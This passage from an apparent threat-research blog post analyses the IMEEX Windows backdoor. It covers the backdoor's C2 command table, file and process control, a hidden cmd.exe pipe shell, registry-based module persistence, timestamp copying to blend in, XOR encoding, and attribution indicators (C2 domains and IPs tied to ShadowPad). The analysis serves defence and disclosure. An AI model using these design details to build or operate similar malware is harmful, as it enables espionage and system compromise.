command exchanges with its C2 server.&lt;/p&gt;
&lt;p&gt;In addition to basic system control, the framework supports Windows Registry
operations, allowing it to write, update, and delete registry values—critical
for maintaining persistence and managing module execution. These capabilities
make it highly versatile for remote administration and execution of malicious
tasks.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command Class&lt;/th&gt;
&lt;th&gt;Class ID&lt;/th&gt;
&lt;th&gt;Command ID&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Extra Parameters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File Operation&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Get Drive Info&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;File/Directory Discovery&lt;/td&gt;
&lt;td&gt;File path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Write File&lt;/td&gt;
&lt;td&gt;File path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Read File&lt;/td&gt;
&lt;td&gt;File path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;No Operation/Reserved&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Delete folder and content&lt;/td&gt;
&lt;td&gt;File path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Process Operation&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Get Processes Info&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Terminate Process&lt;/td&gt;
&lt;td&gt;PID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remote Process Execution&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;Create a Process and run a command&lt;/td&gt;
&lt;td&gt;Command to execute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command Execution Using Windows Pipe&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Set a pipe connected to cmd&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Terminate Pipe&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Write to pipe&lt;/td&gt;
&lt;td&gt;Content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modules Operation&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Write File&lt;/td&gt;
&lt;td&gt;Registry key and then content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Delete file from Registry entry path&lt;/td&gt;
&lt;td&gt;Registry sub-key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Create Registry Values&lt;/td&gt;
&lt;td&gt;key/val&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Get Data from the Registry&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;Checksum&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Driver Operation&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Check if new drivers were added&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;File Operations&lt;span class="hx:absolute hx:-mt-20" id="file-operations"&gt;&lt;/span&gt;
&lt;a href="#file-operations" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;h5&gt;Get Driver Information&lt;span class="hx:absolute hx:-mt-20" id="get-driver-information"&gt;&lt;/span&gt;
&lt;a href="#get-driver-information" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;The framework iterates over all available drivers (A-Z) and determines their
type using the
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypew"target="_blank" rel="noopener"&gt;GetDriveTypeW&lt;/a&gt;
API (e.g., fixed, removable, CD-ROM). For CD-ROM drivers, it retrieves the
display name. For fixed drivers, it calls
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationw"target="_blank" rel="noopener"&gt;GetVolumeInformationW&lt;/a&gt;,
which returns:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Volume Name&lt;/strong&gt;: The label of the specified volume.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Volume Serial Number&lt;/strong&gt;: A unique number assigned by the OS during disk
formatting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maximum Component Length&lt;/strong&gt;: Maximum file name component length.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File System Flags&lt;/strong&gt;: Features supported by the file system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File System Name&lt;/strong&gt;: The name of the file system (e.g., NTFS, FAT32).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All this information is sent to the C2 server in a header with the ID 0x31. As
mentioned above, the ID that is sent back consists of the class ID (3) and the
command ID (1).&lt;/p&gt;
&lt;h5&gt;Directory Discovery&lt;span class="hx:absolute hx:-mt-20" id="directory-discovery"&gt;&lt;/span&gt;
&lt;a href="#directory-discovery" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;The framework receives a path from the C2 and performs a directory scan to
enumerate the files and folders within it. It then gathers detailed information
for each file, including size, last modified timestamp, attributes, and
filename. This collected data is subsequently transmitted back to the C2 in
separate packets, with each packet bearing an ID of 0x324. The presence of a 4
in this ID signifies that the operation has not yet completed sending the data.
In its final stage, when the last packet with ID 0x32 is sent, it indicates the
successful completion of the data transmission.&lt;/p&gt;
&lt;h5&gt;Write File&lt;span class="hx:absolute hx:-mt-20" id="write-file"&gt;&lt;/span&gt;
&lt;a href="#write-file" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;The framework receives a file path where the file will be created, and after
the file is created, it sends an acknowledgment (ACK) packet to the C2. The
packet ID in this case is 0x33, and it returns the allocated file size.&lt;/p&gt;
&lt;p&gt;Next, the framework waits to receive the file content from the C2. Each
packet&amp;rsquo;s content is verified using a checksum, with the expected checksum value
stored in the 8th byte of the packet. For each chunk written, the framework
sends an ACK, indicating the status of the
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile"target="_blank" rel="noopener"&gt;WriteFile&lt;/a&gt;
API call.&lt;/p&gt;
&lt;h5&gt;Read File&lt;span class="hx:absolute hx:-mt-20" id="read-file"&gt;&lt;/span&gt;
&lt;a href="#read-file" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;The framework receives a path to a file to be read. It will open the file, read
its contents, and send it back to the C2 in chunks of 0x8000 bytes. The packet
IDs associated with this operation are 0x34.&lt;/p&gt;
&lt;h5&gt;Delete File/Folder&lt;span class="hx:absolute hx:-mt-20" id="delete-filefolder"&gt;&lt;/span&gt;
&lt;a href="#delete-filefolder" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;The framework receives a path to a folder, which it will recursively delete. It
first sets the folder&amp;rsquo;s file attributes to FILE_ATTRIBUTE_NORMAL, then iterates
over all files in the provided path, deleting each one. The operation sends
back an ACK with the success code and the ID 0x36.&lt;/p&gt;
&lt;h4&gt;Process Operations&lt;span class="hx:absolute hx:-mt-20" id="process-operations"&gt;&lt;/span&gt;
&lt;a href="#process-operations" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;h5&gt;Get Processes Info&lt;span class="hx:absolute hx:-mt-20" id="get-processes-info"&gt;&lt;/span&gt;
&lt;a href="#get-processes-info" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;This command enumerates all processes and collects information such as the
process ID (PID), parent process ID, executable name, and whether it is a
system process. The information is sent to the C2 in a packet with the ID
0x514. Once all the information is sent, a final ACK packet is sent with the ID
0x55.&lt;/p&gt;
&lt;h5&gt;Terminate Process&lt;span class="hx:absolute hx:-mt-20" id="terminate-process"&gt;&lt;/span&gt;
&lt;a href="#terminate-process" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;The command receives a PID to terminate. The framework elevates its privileges
by setting the SeDebugPrivilege, which allows it to debug other processes and
access their memory. It then terminates the specified process using the
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminateprocess"target="_blank" rel="noopener"&gt;TerminateProcess&lt;/a&gt;
API call. The operation sends back an ACK with the success code and the ID
0x52.&lt;/p&gt;
&lt;h5&gt;Remote Code Execution&lt;span class="hx:absolute hx:-mt-20" id="remote-code-execution"&gt;&lt;/span&gt;
&lt;a href="#remote-code-execution" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;This operation receives from the C2 a path to an executable on the victim
machine. It creates a new hidden process using the specified executable. An ACK
packet with the status code of this operation and the ID 11 is sent.&lt;/p&gt;
&lt;h4&gt;Command Execution&lt;span class="hx:absolute hx:-mt-20" id="command-execution"&gt;&lt;/span&gt;
&lt;a href="#command-execution" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;h5&gt;Set a pipe connected to the cmd&lt;span class="hx:absolute hx:-mt-20" id="set-a-pipe-connected-to-the-cmd"&gt;&lt;/span&gt;
&lt;a href="#set-a-pipe-connected-to-the-cmd" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;This operation creates a
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/ipc/pipes"target="_blank" rel="noopener"&gt;pipe&lt;/a&gt; connected to
cmd.exe with a hidden window. The input is redirected to cmd.exe, and the
output is sent to the C2. Essentially, this connects the socket to the pipe and
gives the attackers the ability to execute commands. The header for this packet
has an ID of 0x101: the 0x10 represents the class ID 16 and 1 is the command
ID.&lt;/p&gt;
&lt;h5&gt;Terminate pipe&lt;span class="hx:absolute hx:-mt-20" id="terminate-pipe"&gt;&lt;/span&gt;
&lt;a href="#terminate-pipe" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;When this command is received, the framework terminates the pipe process using
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminateprocess"target="_blank" rel="noopener"&gt;TerminateProcess&lt;/a&gt;
and sends an ACK.&lt;/p&gt;
&lt;h5&gt;Write to pipe&lt;span class="hx:absolute hx:-mt-20" id="write-to-pipe"&gt;&lt;/span&gt;
&lt;a href="#write-to-pipe" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;This command sends input to the pipe connected to cmd.exe. The input data is
first processed by retrieving the system&amp;rsquo;s OEM code page identifier using
GetOEMCP and converting it using
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/stringapiset/nf-stringapiset-widechartomultibyte"target="_blank" rel="noopener"&gt;WideCharToMultiByte&lt;/a&gt;.
The framework then writes the command line into the pipe, waits for 100
milliseconds, and captures the output. If any output is detected, it sends the
content to the C2 in packets with an ID of 0x104. Once all the output is
captured, a final packet with ID 0x1044 is sent.&lt;/p&gt;
&lt;h4&gt;Modules Operation&lt;span class="hx:absolute hx:-mt-20" id="modules-operation"&gt;&lt;/span&gt;
&lt;a href="#modules-operation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The framework has extended capabilities for remote code execution of modules,
and it uses information that is stored in the Windows Registry to track and
execute them.&lt;/p&gt;
&lt;h5&gt;Write a file and update the Windows Registry&lt;span class="hx:absolute hx:-mt-20" id="write-a-file-and-update-the-windows-registry"&gt;&lt;/span&gt;
&lt;a href="#write-a-file-and-update-the-windows-registry" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;This function receives data from the C2, verifies its integrity, writes it to a
temporary file, and adds the file path to the system registry. The framework
uses a Windows Registry path that is intended to store the location of the
temporary executable.&lt;/p&gt;
&lt;p&gt;If the registry path already contains data, the file creation process is
skipped, assuming the executable is already present. Otherwise, a new file is
created, the name is set by the
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-gettempfilenamew"target="_blank" rel="noopener"&gt;GetTempFileNameW&lt;/a&gt;
API function, and the extension is set to.dat. Next, the framework receives
from the C2 the content of the file and writes into the file.&lt;/p&gt;
&lt;p&gt;After successfully receiving and writing all the data, the function sets the
file&amp;rsquo;s attributes to System (&lt;code&gt;FILE_ATTRIBUTE_SYSTEM&lt;/code&gt;) and copies timestamps
from kernel32.dll to the file, helping it blend in with legitimate system
files. Then, the path to the file is saved in the following Windows Registry
path: &lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\&amp;lt;num&amp;gt;N&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/10/technical-analysis-of-a-novel-imeex-framework/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;If any errors occur (such as checksum failures, write errors, or network
issues), the function deletes the temporary file and sends an error response to
the C2 server.&lt;/p&gt;
&lt;h5&gt;Delete File Specified in Registry&lt;span class="hx:absolute hx:-mt-20" id="delete-file-specified-in-registry"&gt;&lt;/span&gt;
&lt;a href="#delete-file-specified-in-registry" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;This function deletes a file based on the registry key it receives from the C2.
The operation accesses the registry at the path:
&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\&amp;lt;provided_key&amp;gt;&lt;/code&gt;, and the subkey
&amp;ldquo;N&amp;rdquo; that stores paths to files on the machine. It attempts to delete the file
and, if unsuccessful, moves it to a temporary location and schedules it for
deletion upon the next system restart using
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-movefileexw"target="_blank" rel="noopener"&gt;MoveFileExW&lt;/a&gt;.&lt;/p&gt;
&lt;h5&gt;Write Values to Registry Keys&lt;span class="hx:absolute hx:-mt-20" id="write-values-to-registry-keys"&gt;&lt;/span&gt;
&lt;a href="#write-values-to-registry-keys" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;This operation writes specific values to the Windows Registry under the keys
&amp;ldquo;A&amp;rdquo; and &amp;ldquo;P&amp;rdquo; within the path &lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\&amp;lt;ID&amp;gt;&lt;/code&gt;.
The function receives the data in a structure named RegistryWriteData. The
value of &lt;ID&gt; is received from the attacker.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Byte Offset&lt;/th&gt;
&lt;th&gt;Field Name&lt;/th&gt;
&lt;th&gt;Size (Bytes)&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;RegistryPathID&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Identifier for the registry path (a number)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Reserved&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Reserved for future use or alignment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;ValueAData&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Data for registry key &amp;ldquo;A&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;ValuePSize&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Size of ValuePData&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;ValuePData&lt;/td&gt;
&lt;td&gt;ValuePSize&lt;/td&gt;
&lt;td&gt;Data for registry key &amp;ldquo;P&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The function begins by determining whether it should write to the registry key
&amp;ldquo;A&amp;rdquo;. It checks if ValueAData is equal to -1; if so, it interprets this as a
signal to skip writing to key &amp;ldquo;A&amp;rdquo;. Otherwise, it attempts to write the provided
data to registry key &amp;ldquo;A&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Similarly, for the registry key &amp;ldquo;P&amp;rdquo;, the function examines ValuePSize. If this
value is zero, it determines that writing to key &amp;ldquo;P&amp;rdquo; is unnecessary. Otherwise,
it attempts to write the data pointed to by ValuePData to the registry key &amp;ldquo;P&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The function constructs the full registry path as
&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\&amp;lt;ID&amp;gt;&lt;/code&gt;, where it writes the data to
keys &amp;ldquo;A&amp;rdquo; and &amp;ldquo;P&amp;rdquo; after encoding the input string using a reversible XOR-based
encoding algorithm.&lt;/p&gt;
&lt;p&gt;The function allocates memory and encodes the data for the registry keys using
a simple, reversible encoding process. Each character of the input string is
modified using an XOR operation, starting with an initial seed value of 0xE4.
The modified characters are then split into high and low 4-bit nibbles and
mapped to ASCII characters starting from &amp;lsquo;A&amp;rsquo;. The encoded data is stored in an
output array, ensuring it does not exceed twice the length of the original
input.&lt;/p&gt;
&lt;p&gt;Essentially, it the operation creates to WIndows Registry paths:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\&amp;lt;ID&amp;gt;\A&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\P&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\&amp;lt;ID&amp;gt;\N&lt;/code&gt; (Was created by the
write function described above)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The framework uses these subkeys to track executed modules, with &lt;ID&gt; serving
as the module identifier. It&amp;rsquo;s unclear whether these values follow a specific
scheme or are chosen arbitrarily.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Subkey &amp;ldquo;A&amp;rdquo; stores execution type information.&lt;/li&gt;
&lt;li&gt;Subkey &amp;ldquo;P&amp;rdquo; holds configuration or additional parameters.&lt;/li&gt;
&lt;li&gt;Subkey &amp;ldquo;N&amp;rdquo; contains the module&amp;rsquo;s file path.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Execute a Module&lt;span class="hx:absolute hx:-mt-20" id="execute-a-module"&gt;&lt;/span&gt;
&lt;a href="#execute-a-module" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;This operation handles dynamic retrieval and loading of modules, specifically
DLL files, from the Windows Registry based on instructions from the C2.&lt;/p&gt;
&lt;p&gt;Below is a table that represents the structure of the packet that is being sent
to the Module Load operation:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Byte Offset&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;th&gt;Field Name&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;12 bytes&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;The header of the packet as described in the previous section&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;4 bytes&lt;/td&gt;
&lt;td&gt;moduleID&lt;/td&gt;
&lt;td&gt;Represents the identifier in the WIndows Registry for the module to be executed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;4 bytes&lt;/td&gt;
&lt;td&gt;executionType&lt;/td&gt;
&lt;td&gt;Specifies the type of execution (2, 3, or other) to determine how the module should be run.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;4 bytes&lt;/td&gt;
&lt;td&gt;numberOfParameters&lt;/td&gt;
&lt;td&gt;Number of parameters passed to the module function.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;4 bytes&lt;/td&gt;
&lt;td&gt;params[]&lt;/td&gt;
&lt;td&gt;Array of parameters passed to the module function as part of the execution call.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The function first checks if the module, identified by &lt;code&gt;moduleID&lt;/code&gt;, is already
loaded in memory by traversing a linked list of loaded modules. If found, it
returns a pointer to the module&amp;rsquo;s information, avoiding redundant loading.&lt;/p&gt;
&lt;p&gt;If the module is not loaded, the function retrieves the module&amp;rsquo;s name from the
Windows Registry (subkey &amp;ldquo;N&amp;rdquo;), allocates memory, and attempts to load the
module using &lt;code&gt;LoadLibraryW&lt;/code&gt;. It then locates the &amp;ldquo;Execute&amp;rdquo; function with
&lt;code&gt;GetProcAddress&lt;/code&gt;. Once found, the module is added to the linked list for future
use. If the function fails at any point, it cleans up by freeing memory and
unloading the module, returning an error code.&lt;/p&gt;
&lt;p&gt;Once loaded, the function checks the &lt;code&gt;executionType&lt;/code&gt; received from the C2, with
three possible options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Load configuration from the Registry and execute (executionType = 2)&lt;/strong&gt;: The
function checks if the module is in memory. If not, it loads it again and
retrieves additional data from
&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\IMEEX\&amp;lt;moduleID&amp;gt;\P&lt;/code&gt;, invoking the &amp;ldquo;Execute&amp;rdquo;
function. If successful, the module&amp;rsquo;s execution state is updated to prevent
re-execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Load and execute with predefined values (executionType = 3)&lt;/strong&gt;: Similar to
the previous case, it finds the module in memory, executes it with hardcoded
arguments, and updates its state post-execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execute with parameters from the C2 (executionType is not 2 or 3)&lt;/strong&gt;: The
function directly passes the C2 parameters to the module. If successful, the
result is sent back to the C2; otherwise, an error is reported.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This module execution process allows the framework to dynamically load and
execute modules from the Windows Registry, ensuring that each module is
executed only once while tracking their execution states. Results from
successful executions are sent back to the C2, with error handling and cleanup
in case of failure.&lt;/p&gt;
&lt;p&gt;The framework also has a dedicated process that iterates over the values stored
in the subkey &amp;ldquo;A&amp;rdquo; (stores the execution type of the module), and if the value
is not 0 – it would run the module if it&amp;rsquo;s not already running.&lt;/p&gt;
&lt;h5&gt;Retrieve IMEEX framework Windows Registry Values&lt;span class="hx:absolute hx:-mt-20" id="retrieve-imeex-framework-windows-registry-values"&gt;&lt;/span&gt;
&lt;a href="#retrieve-imeex-framework-windows-registry-values" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;This operation retrieves numeric subkeys from the malware&amp;rsquo;s registry location:
&lt;code&gt;Software\Microsoft\IMEEX&lt;/code&gt;. It gathers the subkeys and their values,
transmitting the data over a network socket. If data is cached in memory, it is
included in the packet. The stored data, encrypted with XOR, is decoded before
transmission and sent to the C2 in chunks.&lt;/p&gt;
&lt;p&gt;If no subkeys are found or an error occurs, an empty packet or error code is
returned. The function processes all subkeys until transmission is complete,
ensuring proper packet structure and network integrity. A final checksum is
computed and sent with the remaining data.&lt;/p&gt;
&lt;h4&gt;Driver Operation&lt;span class="hx:absolute hx:-mt-20" id="driver-operation"&gt;&lt;/span&gt;
&lt;a href="#driver-operation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;This operation is executed if the command received by the framework does not
match any of the specified operations. The framework calls
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getlogicaldrives"target="_blank" rel="noopener"&gt;GetLogicalDrives&lt;/a&gt;
to retrieve a bitmask representing available disk drives and compares it to a
stored global variable containing previously retrieved information. If a
mismatch is found, the framework calls the Get Driver Information operation,
described under File Operations.&lt;/p&gt;
&lt;h2&gt;Attribution Indicators and The Geopolitics of The Region&lt;span class="hx:absolute hx:-mt-20" id="attribution-indicators-and-the-geopolitics-of-the-region"&gt;&lt;/span&gt;
&lt;a href="#attribution-indicators-and-the-geopolitics-of-the-region" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Network Pivoting&lt;span class="hx:absolute hx:-mt-20" id="network-pivoting"&gt;&lt;/span&gt;
&lt;a href="#network-pivoting" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Our investigation into the IMEEX framework was assisted by Tom Hegel from
SentinelOne, who provided valuable information about C2 domains. The analysis
reveals a potential connection between several domains and IP addresses,
suggesting shared infrastructure with ShadowPad – a privately sold modular
malware platform used by at least four clusters of Chinese espionage activity,
allowing threat actors to access advanced anti-detection and persistence
techniques without developing their own backdoors.&lt;/p&gt;
&lt;p&gt;The domain &lt;code&gt;bbsnews.sytes.net&lt;/code&gt; is resolved to the IP address 103.151.229.184
from Hong Kong, which is a generally unused address. Further investigation
shows that this IP has been linked to several other domains:
&lt;code&gt;cha.ylsyzxxwgov.cn&lt;/code&gt;, &lt;code&gt;ftp-server.serveftp.com&lt;/code&gt;, and
&lt;code&gt;it-technology.serveblog.net&lt;/code&gt;, indicating a potential relationship between
these entities. Notably, prior to using 103.151.229.184,
&lt;code&gt;ftp-server.serveftp.com&lt;/code&gt; was hosted on the similar IP address 103.151.229.52,
which hosted domains linked to ShadowPad activity in 2022, as reported by
&lt;a href="https://web.archive.org/web/20220814120943/https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf"target="_blank" rel="noopener"&gt;PT Security&lt;/a&gt;
(such as point.linkpc.net). Another IP address, 38.60.200.224, also hosted
multiple shadowpad-linked domains, including connecter.publicvm.com, previously
identified as part of the Shadowpad malware
